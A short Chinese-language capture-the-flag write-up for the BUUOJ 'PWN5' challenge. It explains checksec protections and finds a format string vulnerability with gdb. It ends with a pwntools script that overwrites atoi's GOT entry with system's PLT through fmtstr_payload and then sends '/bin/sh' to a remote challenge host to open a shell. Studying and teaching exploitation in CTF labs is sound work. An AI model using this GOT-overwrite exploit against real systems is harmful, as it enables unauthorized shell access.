主要以PWN5这题讲一下关于checksec的一些用法
首先介绍一下checksec
直接使用checksec pwn解析
Arch:用来判断是拖进64位IDA还是32位
RELRO:此项技术主要针对 GOT 改写的攻击方式。它分为两种,Partial RELRO 和 Full RELRO。
Partial RELRO 易受到攻击,例如攻击者可以atoi.got为system.plt,进而输入/bin/sh\x00获得shell
Full RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。
Stack:栈溢出保护是一种缓冲区溢出攻击缓解手段
NX:NX enabled开启就是意味着栈中数据没有执行权限,如此一来, 当攻击者在堆栈上部署自己的 shellcode 并触发时, 只会直接造成程序的崩溃,但是可以利用rop这种方法绕过
PIE:这个是地址空间分布随机化
解析
使用IDA32编译
结合checksec可知格式化字符串漏洞
直接gdb pwn
下断点,执行输入变量name
步入并查看寄存器的值使用ni
看栈
查看格式化字符串偏移 fmtarg
直接编写脚本
from pwn import *
# p = process('./pwn')
p = remote('node4.buuoj.cn',27035)
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt}) //转移函数
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()
OK,纸上得来终觉浅,绝知此事要躬行!!!